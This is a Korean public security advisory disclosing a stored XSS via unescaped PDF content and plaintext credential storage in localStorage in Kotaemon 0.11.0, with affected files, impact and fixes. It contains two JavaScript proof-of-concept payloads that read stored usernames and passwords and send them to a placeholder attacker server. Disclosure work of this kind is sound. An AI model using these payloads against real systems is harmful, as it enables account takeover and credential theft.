
공개 공시 — Kotaemon 0.11.0에서 비위생 처리된 PDF 콘텐츠 렌더링을 통한 Stored XSS 및 평문 자격 증명 노출 (CVE-2025-56526 및 CVE-2025-56527). 전체 기술 분석, PoC, 영향 평가 및 책임 있는 공개 일정을 포함합니다.
Kotaemon 정보 패널의 저장형 크로스 사이트 스크립팅과
localStorage의 평문 자격 증명 저장이 결합되어, 단일 악성 PDF 업로드로 전체 세션이 손상될 수 있습니다.
<= 0.11.0 (커밋 37cdc28 포함)CVE-2025-56526 – PDF 콘텐츠 렌더링 시 이스케이프 처리되지 않아 발생하는 저장형 XSSCVE-2025-56527 – localStorage에 평문 사용자 이름/비밀번호 저장| CVE ID | 취약점 유형 | CWE | 주요 영향 |
|---|---|---|---|
| CVE-2025-56526 | PDF 기반 HTML을 통한 저장형 XSS | CWE-79 | 임의 JavaScript 실행, 데이터 유출 |
| CVE-2025-56527 | 평문 자격 증명 저장 | CWE-922 | 자격 증명 노출, 세션 하이재킹 |
PDF 추출 결과(텍스트, 테이블 마크업, 이미지 메타데이터)가 이스케이프 없이 DOM에 삽입됩니다. 따라서 악성 PDF는 retrieved_content를 렌더링하는 정보 패널 또는 추론 뷰에서 실행되는 임의의 HTML/JS를 포함할 수 있습니다.
영향받는 코드 경로:
libs/ktem/ktem/utils/render.py (Render.table, Render.image, Render.collapsible_with_header)libs/ktem/ktem/index/file/ui.py (table / image 렌더링)libs/ktem/ktem/reasoning/simple.py 및 libs/ktem/ktem/reasoning/react.pylibs/kotaemon/kotaemon/indices/qa/format_context.pylocalStorage에 평문 자격 증명 저장libs/ktem/ktem/pages/login.py와 libs/ktem/ktem/assets/js/main.js는 localStorage에서 원시 자격 증명을 저장하고 검색합니다:
setStorage('username', usn);
setStorage('password', pwd);
const username = getStorage('username', '');
const password = getStorage('password', '');
XSS 벡터를 통해 실행되는 모든 JavaScript가 즉시 이 값을 읽을 수 있으므로, 자격 증명 탈취가 확실하게 이루어지고 장기간 계정이 탈취됩니다.
alt 속성 또는 텍스트 객체 내부): {
const u = localStorage.getItem('username');
const p = localStorage.getItem('password');
if (u && p) {
new Image().src='https://[ATTACKER-SERVER]?d=' + btoa(`id=${u}&pw=${p}`);
}
})();
">
{
const payload = btoa(
`id=${localStorage.getItem('username')}` +
`&pw=${localStorage.getItem('password')}` +
`&url=${location.href}&origin=${location.origin}` +
`&ua=${navigator.userAgent}`
);
new Image().src='https://[ATTACKER-SERVER]?d=' + payload;
})();
">
username/password 쌍이 삽입된 모든 스크립트에 노출됩니다.Kotaemon은 사용자가 민감한 내부 문서를 업로드하는 로컬 또는 엔터프라이즈 환경에 배포되는 경우가 많습니다. PDF에서 추출된 콘텐츠가 DOM에 이스케이프 없이 삽입되므로, 공격자는 정상적인 비즈니스 문서처럼 보이는 파일에 악성 페이로드를 숨길 수 있습니다.
피해자가 이 문서를 업로드하여 열면 숨겨진 JavaScript가 자동으로 실행되어 localStorage에서 자격 증명을 탈취하고 개인 채팅 로그와 문서 내용을 노출시킵니다.
트리거가 사용자에 의해 발생한 것처럼 보이지만 이는 self-XSS가 아닙니다. 근본 원인은 업로드된 파일에서 추출한 HTML을 서버 측에서 이스케이프 처리하지 않았기 때문에 신뢰할 수 있는 UI 구성 요소 내에서 저장형 XSS가 발생하는 것입니다.
따라서 현실적인 사회공학 시나리오에서 단 하나의 악성 PDF로 전체 계정이 손상될 수 있습니다.
html.escape, DOMPurify, DOM 싱크에 Trusted Types 사용).script-src 'self') 및 Trusted Types를 배포하여 DOM XSS 공격 표면을 줄입니다.screenshots/)







이 공개 권고는 업계 표준의 책임 있는 공개 관행을 따릅니다:
Kotaemon(<= 0.11.0) 사용자는 보안 수정이 제공될 때까지 다음을 고려해야 합니다:
[email protected]